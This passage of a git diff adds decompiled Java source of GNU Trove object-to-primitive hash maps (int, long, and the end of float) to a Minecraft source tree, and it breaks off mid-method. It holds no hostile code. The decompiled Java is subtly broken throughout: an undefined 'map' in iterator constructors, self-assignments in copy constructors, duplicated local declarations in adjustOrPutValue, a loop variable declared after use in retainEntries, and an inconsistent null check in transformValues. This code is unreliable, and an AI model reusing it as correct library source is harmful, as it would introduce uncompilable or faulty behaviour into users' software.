+    private final TObjectFloatHashMap<K> _map;
+    
+    public TObjectFloatHashIterator()
+    {
+      super();
+      _map = map;
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+
+    public K key()
+    {
+      return _map._set[_index];
+    }
+    
+    public float value()
+    {
+      return _map._values[_index];
+    }
+    
+    public float setValue(float val)
+    {
+      float old = value();
+      _map._values[_index] = val;
+      return old;
+    }
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeFloat(no_entry_value);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _set.length; i-- > 0;) {
+      if ((_set[i] != REMOVED) && (_set[i] != FREE)) {
+        out.writeObject(_set[i]);
+        out.writeFloat(_values[i]);
+      }
+    }
+  }
+  
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_value = in.readFloat();
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0)
+    {
+      K key = in.readObject();
+      float val = in.readFloat();
+      put(key, val);
+    }
+  }
+  
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TObjectFloatProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(K key, float value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key).append("=").append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TObjectIntHashMap.java b/src/minecraft/gnu/trove/map/hash/TObjectIntHashMap.java
new file mode 100644
index 0000000..0af0be7
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TObjectIntHashMap.java
@@ -0,0 +1,1140 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TIntCollection;
+import gnu.trove.function.TIntFunction;
+import gnu.trove.impl.Constants;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.THash;
+import gnu.trove.impl.hash.TObjectHash;
+import gnu.trove.iterator.TIntIterator;
+import gnu.trove.iterator.TObjectIntIterator;
+import gnu.trove.iterator.hash.TObjectHashIterator;
+import gnu.trove.map.TObjectIntMap;
+import gnu.trove.procedure.TIntProcedure;
+import gnu.trove.procedure.TObjectIntProcedure;
+import gnu.trove.procedure.TObjectProcedure;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.lang.reflect.Array;
+import java.util.AbstractSet;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.NoSuchElementException;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TObjectIntHashMap<K>
+  extends TObjectHash<K>
+  implements TObjectIntMap<K>, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  private final TObjectIntProcedure<K> PUT_ALL_PROC = new TObjectIntProcedure() {
+    public boolean execute(K key, int value) {
+      put(key, value);
+      return true;
+    }
+  };
+  
+
+
+
+
+  protected transient int[] _values;
+  
+
+
+
+
+  protected int no_entry_value;
+  
+
+
+
+
+  public TObjectIntHashMap() {}
+  
+
+
+
+
+  public TObjectIntHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_value = Constants.DEFAULT_INT_NO_ENTRY_VALUE;
+  }
+  
+
+
+
+
+
+
+
+
+  public TObjectIntHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_value = Constants.DEFAULT_INT_NO_ENTRY_VALUE;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public TObjectIntHashMap(int initialCapacity, float loadFactor, int noEntryValue)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_value = noEntryValue;
+    
+    if (no_entry_value != 0) {
+      Arrays.fill(_values, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+  public TObjectIntHashMap(TObjectIntMap<K> map)
+  {
+    this(map.size(), 0.5F, map.getNoEntryValue());
+    if ((map instanceof TObjectIntHashMap)) {
+      TObjectIntHashMap hashmap = (TObjectIntHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new int[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    
+    K[] oldKeys = (Object[])_set;
+    int[] oldVals = _values;
+    
+    _set = new Object[newCapacity];
+    Arrays.fill(_set, FREE);
+    _values = new int[newCapacity];
+    Arrays.fill(_values, no_entry_value);
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if ((oldKeys[i] != FREE) && (oldKeys[i] != REMOVED)) {
+        K o = oldKeys[i];
+        int index = insertionIndex(o);
+        if (index < 0) {
+          throwObjectContractViolation(_set[(-index - 1)], o);
+        }
+        _set[index] = o;
+        _values[index] = oldVals[i];
+      }
+    }
+  }
+  
+
+
+
+  public int getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+  public boolean containsKey(Object key)
+  {
+    return contains(key);
+  }
+  
+
+  public boolean containsValue(int val)
+  {
+    Object[] keys = _set;
+    int[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public int get(Object key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+
+
+  public int put(K key, int value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public int putIfAbsent(K key, int value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+  private int doPut(K key, int value, int index)
+  {
+    int previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    
+    K oldKey = _set[index];
+    _set[index] = key;
+    _values[index] = value;
+    
+    if (isNewMapping) {
+      postInsertHook(oldKey == FREE);
+    }
+    return previous;
+  }
+  
+
+  public int remove(Object key)
+  {
+    int prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+
+
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+
+
+  public void putAll(Map<? extends K, ? extends Integer> map)
+  {
+    Set<? extends Map.Entry<? extends K, ? extends Integer>> set = map.entrySet();
+    for (Map.Entry<? extends K, ? extends Integer> entry : set) {
+      put(entry.getKey(), ((Integer)entry.getValue()).intValue());
+    }
+  }
+  
+
+  public void putAll(TObjectIntMap<K> map)
+  {
+    map.forEachEntry(PUT_ALL_PROC);
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, FREE);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+  }
+  
+
+
+
+  public Set<K> keySet()
+  {
+    return new KeyView();
+  }
+  
+
+
+  public Object[] keys()
+  {
+    K[] keys = (Object[])new Object[size()];
+    Object[] k = _set;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if ((k[i] != FREE) && (k[i] != REMOVED))
+      {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public K[] keys(K[] a)
+  {
+    int size = size();
+    if (a.length < size)
+    {
+      a = (Object[])Array.newInstance(a.getClass().getComponentType(), size);
+    }
+    
+
+    Object[] k = _set;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if ((k[i] != FREE) && (k[i] != REMOVED))
+      {
+        a[(j++)] = k[i];
+      }
+    }
+    return a;
+  }
+  
+
+  public TIntCollection valueCollection()
+  {
+    return new TIntValueCollection();
+  }
+  
+
+  public int[] values()
+  {
+    int[] vals = new int[size()];
+    int[] v = _values;
+    Object[] keys = _set;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED)) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public int[] values(int[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new int[size];
+    }
+    
+    int[] v = _values;
+    Object[] keys = _set;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED)) {
+        array[(j++)] = v[i];
+      }
+    }
+    if (array.length > size) {
+      array[size] = no_entry_value;
+    }
+    return array;
+  }
+  
+
+
+
+  public TObjectIntIterator<K> iterator()
+  {
+    return new TObjectIntHashIterator(this);
+  }
+  
+
+
+
+  public boolean increment(K key)
+  {
+    return adjustValue(key, 1);
+  }
+  
+
+  public boolean adjustValue(K key, int amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    _values[index] += amount;
+    return true;
+  }
+  
+
+
+  public int adjustOrPutValue(K key, int adjust_amount, int put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    int newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1;
+      int newValue = _values[index] += adjust_amount;
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+
+    K oldKey = _set[index];
+    _set[index] = key;
+    
+    if (isNewMapping) {
+      postInsertHook(oldKey == FREE);
+    }
+    
+    return newValue;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEachKey(TObjectProcedure<K> procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEachValue(TIntProcedure procedure)
+  {
+    Object[] keys = _set;
+    int[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED) && (!procedure.execute(values[i])))
+      {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean forEachEntry(TObjectIntProcedure<K> procedure)
+  {
+    Object[] keys = _set;
+    int[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED) && (!procedure.execute(keys[i], values[i])))
+      {
+
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+  public boolean retainEntries(TObjectIntProcedure<K> procedure)
+  {
+    boolean modified = false;
+    
+    K[] keys = (Object[])_set;
+    int[] values = _values;
+    
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((keys[i] != FREE) && (keys[i] != REMOVED) && (!procedure.execute(keys[i], values[i])))
+        {
+
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+
+
+
+
+  public void transformValues(TIntFunction function)
+  {
+    Object[] keys = _set;
+    int[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((keys[i] != null) && (keys[i] != REMOVED)) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TObjectIntMap)) {
+      return false;
+    }
+    TObjectIntMap that = (TObjectIntMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    try {
+      TObjectIntIterator iter = iterator();
+      while (iter.hasNext()) {
+        iter.advance();
+        Object key = iter.key();
+        int value = iter.value();
+        if (value == no_entry_value) {
+          if ((that.get(key) != that.getNoEntryValue()) || (!that.containsKey(key))) {
+            return false;
+          }
+        }
+        else if (value != that.get(key)) {
+          return false;
+        }
+      }
+    }
+    catch (ClassCastException ex) {}
+    
+
+    return true;
+  }
+  
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    Object[] keys = _set;
+    int[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED)) {
+        hashcode += (HashFunctions.hash(values[i]) ^ (keys[i] == null ? 0 : keys[i].hashCode()));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+  protected class KeyView extends TObjectIntHashMap<K>.MapBackedView<K> {
+    protected KeyView() {
+      super(null);
+    }
+    
+    public Iterator<K> iterator() {
+      return new TObjectHashIterator(TObjectIntHashMap.this);
+    }
+    
+    public boolean removeElement(K key) {
+      return no_entry_value != remove(key);
+    }
+    
+    public boolean containsElement(K key) {
+      return contains(key);
+    }
+  }
+  
+  private abstract class MapBackedView<E> extends AbstractSet<E> implements Set<E>, Iterable<E>
+  {
+    private MapBackedView() {}
+    
+    public abstract boolean removeElement(E paramE);
+    
+    public abstract boolean containsElement(E paramE);
+    
+    public boolean contains(Object key)
+    {
+      return containsElement(key);
+    }
+    
+    public boolean remove(Object o)
+    {
+      return removeElement(o);
+    }
+    
+    public void clear() {
+      TObjectIntHashMap.this.clear();
+    }
+    
+    public boolean add(E obj) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public int size() {
+      return TObjectIntHashMap.this.size();
+    }
+    
+    public Object[] toArray() {
+      Object[] result = new Object[size()];
+      Iterator<E> e = iterator();
+      for (int i = 0; e.hasNext(); i++) {
+        result[i] = e.next();
+      }
+      return result;
+    }
+    
+    public <T> T[] toArray(T[] a) {
+      int size = size();
+      if (a.length < size)
+      {
+        a = (Object[])Array.newInstance(a.getClass().getComponentType(), size);
+      }
+      
+      Iterator<E> it = iterator();
+      Object[] result = a;
+      for (int i = 0; i < size; i++) {
+        result[i] = it.next();
+      }
+      
+      if (a.length > size) {
+        a[size] = null;
+      }
+      
+      return a;
+    }
+    
+    public boolean isEmpty() {
+      return TObjectIntHashMap.this.isEmpty();
+    }
+    
+    public boolean addAll(Collection<? extends E> collection) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      Iterator<E> i = iterator();
+      while (i.hasNext()) {
+        if (!collection.contains(i.next())) {
+          i.remove();
+          changed = true;
+        }
+      }
+      return changed;
+    }
+  }
+  
+  class TIntValueCollection implements TIntCollection
+  {
+    TIntValueCollection() {}
+    
+    public TIntIterator iterator() {
+      return new TObjectIntValueHashIterator();
+    }
+    
+    public int getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+    public int size()
+    {
+      return _size;
+    }
+    
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+    public boolean contains(int entry)
+    {
+      return containsValue(entry);
+    }
+    
+    public int[] toArray()
+    {
+      return values();
+    }
+    
+    public int[] toArray(int[] dest)
+    {
+      return values(dest);
+    }
+    
+    public boolean add(int entry) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean remove(int entry)
+    {
+      int[] values = _values;
+      Object[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != TObjectHash.FREE) && (set[i] != TObjectHash.REMOVED) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Integer)) {
+          int ele = ((Integer)element).intValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    public boolean containsAll(TIntCollection collection)
+    {
+      TIntIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    public boolean containsAll(int[] array)
+    {
+      for (int element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    public boolean addAll(Collection<? extends Integer> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean addAll(TIntCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean addAll(int[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TIntIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Integer.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+    public boolean retainAll(TIntCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TIntIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+    public boolean retainAll(int[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      int[] values = _values;
+      
+      Object[] set = _set;
+      for (int i = set.length; i-- > 0;) {
+        if ((set[i] != TObjectHash.FREE) && (set[i] != TObjectHash.REMOVED) && (Arrays.binarySearch(array, values[i]) < 0))
+        {
+
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Integer)) {
+          int c = ((Integer)element).intValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+    public boolean removeAll(TIntCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TIntIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        int element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+    public boolean removeAll(int[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+    public void clear()
+    {
+      TObjectIntHashMap.this.clear();
+    }
+    
+    public boolean forEach(TIntProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TIntProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(int value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+    
+    class TObjectIntValueHashIterator
+      implements TIntIterator
+    {
+      protected THash _hash = TObjectIntHashMap.this;
+      
+
+
+      protected int _expectedSize;
+      
+
+      protected int _index;
+      
+
+
+      TObjectIntValueHashIterator()
+      {
+        _expectedSize = _hash.size();
+        _index = _hash.capacity();
+      }
+      
+      public boolean hasNext()
+      {
+        return nextIndex() >= 0;
+      }
+      
+      public int next()
+      {
+        moveToNextIndex();
+        return _values[_index];
+      }
+      
+      public void remove()
+      {
+        if (_expectedSize != _hash.size()) {
+          throw new ConcurrentModificationException();
+        }
+        
+        try
+        {
+          _hash.tempDisableAutoCompaction();
+          removeAt(_index);
+        }
+        finally {
+          _hash.reenableAutoCompaction(false);
+        }
+        
+        _expectedSize -= 1;
+      }
+      
+
+
+
+
+
+      protected final void moveToNextIndex()
+      {
+        if ((this._index = nextIndex()) < 0) {
+          throw new NoSuchElementException();
+        }
+      }
+      
+
+
+
+
+
+
+
+
+
+      protected final int nextIndex()
+      {
+        if (_expectedSize != _hash.size()) {
+          throw new ConcurrentModificationException();
+        }
+        
+        Object[] set = _set;
+        int i = _index;
+        while ((i-- > 0) && ((set[i] == TObjectHash.FREE) || (set[i] == TObjectHash.REMOVED))) {}
+        
+
+        return i;
+      }
+    }
+  }
+  
+  class TObjectIntHashIterator<K>
+    extends TObjectHashIterator<K>
+    implements TObjectIntIterator<K>
+  {
+    private final TObjectIntHashMap<K> _map;
+    
+    public TObjectIntHashIterator()
+    {
+      super();
+      _map = map;
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+
+    public K key()
+    {
+      return _map._set[_index];
+    }
+    
+    public int value()
+    {
+      return _map._values[_index];
+    }
+    
+    public int setValue(int val)
+    {
+      int old = value();
+      _map._values[_index] = val;
+      return old;
+    }
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(no_entry_value);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _set.length; i-- > 0;) {
+      if ((_set[i] != REMOVED) && (_set[i] != FREE)) {
+        out.writeObject(_set[i]);
+        out.writeInt(_values[i]);
+      }
+    }
+  }
+  
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_value = in.readInt();
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0)
+    {
+      K key = in.readObject();
+      int val = in.readInt();
+      put(key, val);
+    }
+  }
+  
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TObjectIntProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(K key, int value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key).append("=").append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TObjectLongHashMap.java b/src/minecraft/gnu/trove/map/hash/TObjectLongHashMap.java
new file mode 100644
index 0000000..7507b65
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TObjectLongHashMap.java
@@ -0,0 +1,1140 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TLongCollection;
+import gnu.trove.function.TLongFunction;
+import gnu.trove.impl.Constants;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.THash;
+import gnu.trove.impl.hash.TObjectHash;
+import gnu.trove.iterator.TLongIterator;
+import gnu.trove.iterator.TObjectLongIterator;
+import gnu.trove.iterator.hash.TObjectHashIterator;
+import gnu.trove.map.TObjectLongMap;
+import gnu.trove.procedure.TLongProcedure;
+import gnu.trove.procedure.TObjectLongProcedure;
+import gnu.trove.procedure.TObjectProcedure;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.lang.reflect.Array;
+import java.util.AbstractSet;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.NoSuchElementException;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TObjectLongHashMap<K>
+  extends TObjectHash<K>
+  implements TObjectLongMap<K>, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  private final TObjectLongProcedure<K> PUT_ALL_PROC = new TObjectLongProcedure() {
+    public boolean execute(K key, long value) {
+      put(key, value);
+      return true;
+    }
+  };
+  
+
+
+
+
+  protected transient long[] _values;
+  
+
+
+
+
+  protected long no_entry_value;
+  
+
+
+
+
+  public TObjectLongHashMap() {}
+  
+
+
+
+
+  public TObjectLongHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_value = Constants.DEFAULT_LONG_NO_ENTRY_VALUE;
+  }
+  
+
+
+
+
+
+
+
+
+  public TObjectLongHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_value = Constants.DEFAULT_LONG_NO_ENTRY_VALUE;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public TObjectLongHashMap(int initialCapacity, float loadFactor, long noEntryValue)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_value = noEntryValue;
+    
+    if (no_entry_value != 0L) {
+      Arrays.fill(_values, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+  public TObjectLongHashMap(TObjectLongMap<K> map)
+  {
+    this(map.size(), 0.5F, map.getNoEntryValue());
+    if ((map instanceof TObjectLongHashMap)) {
+      TObjectLongHashMap hashmap = (TObjectLongHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_value != 0L) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new long[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    
+    K[] oldKeys = (Object[])_set;
+    long[] oldVals = _values;
+    
+    _set = new Object[newCapacity];
+    Arrays.fill(_set, FREE);
+    _values = new long[newCapacity];
+    Arrays.fill(_values, no_entry_value);
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if ((oldKeys[i] != FREE) && (oldKeys[i] != REMOVED)) {
+        K o = oldKeys[i];
+        int index = insertionIndex(o);
+        if (index < 0) {
+          throwObjectContractViolation(_set[(-index - 1)], o);
+        }
+        _set[index] = o;
+        _values[index] = oldVals[i];
+      }
+    }
+  }
+  
+
+
+
+  public long getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+  public boolean containsKey(Object key)
+  {
+    return contains(key);
+  }
+  
+
+  public boolean containsValue(long val)
+  {
+    Object[] keys = _set;
+    long[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public long get(Object key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+
+
+  public long put(K key, long value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public long putIfAbsent(K key, long value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+  private long doPut(K key, long value, int index)
+  {
+    long previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    
+    K oldKey = _set[index];
+    _set[index] = key;
+    _values[index] = value;
+    
+    if (isNewMapping) {
+      postInsertHook(oldKey == FREE);
+    }
+    return previous;
+  }
+  
+
+  public long remove(Object key)
+  {
+    long prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+
+
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+
+
+  public void putAll(Map<? extends K, ? extends Long> map)
+  {
+    Set<? extends Map.Entry<? extends K, ? extends Long>> set = map.entrySet();
+    for (Map.Entry<? extends K, ? extends Long> entry : set) {
+      put(entry.getKey(), ((Long)entry.getValue()).longValue());
+    }
+  }
+  
+
+  public void putAll(TObjectLongMap<K> map)
+  {
+    map.forEachEntry(PUT_ALL_PROC);
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, FREE);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+  }
+  
+
+
+
+  public Set<K> keySet()
+  {
+    return new KeyView();
+  }
+  
+
+
+  public Object[] keys()
+  {
+    K[] keys = (Object[])new Object[size()];
+    Object[] k = _set;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if ((k[i] != FREE) && (k[i] != REMOVED))
+      {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public K[] keys(K[] a)
+  {
+    int size = size();
+    if (a.length < size)
+    {
+      a = (Object[])Array.newInstance(a.getClass().getComponentType(), size);
+    }
+    
+
+    Object[] k = _set;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if ((k[i] != FREE) && (k[i] != REMOVED))
+      {
+        a[(j++)] = k[i];
+      }
+    }
+    return a;
+  }
+  
+
+  public TLongCollection valueCollection()
+  {
+    return new TLongValueCollection();
+  }
+  
+
+  public long[] values()
+  {
+    long[] vals = new long[size()];
+    long[] v = _values;
+    Object[] keys = _set;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED)) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public long[] values(long[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new long[size];
+    }
+    
+    long[] v = _values;
+    Object[] keys = _set;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED)) {
+        array[(j++)] = v[i];
+      }
+    }
+    if (array.length > size) {
+      array[size] = no_entry_value;
+    }
+    return array;
+  }
+  
+
+
+
+  public TObjectLongIterator<K> iterator()
+  {
+    return new TObjectLongHashIterator(this);
+  }
+  
+
+
+
+  public boolean increment(K key)
+  {
+    return adjustValue(key, 1L);
+  }
+  
+
+  public boolean adjustValue(K key, long amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    _values[index] += amount;
+    return true;
+  }
+  
+
+
+  public long adjustOrPutValue(K key, long adjust_amount, long put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    long newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1;
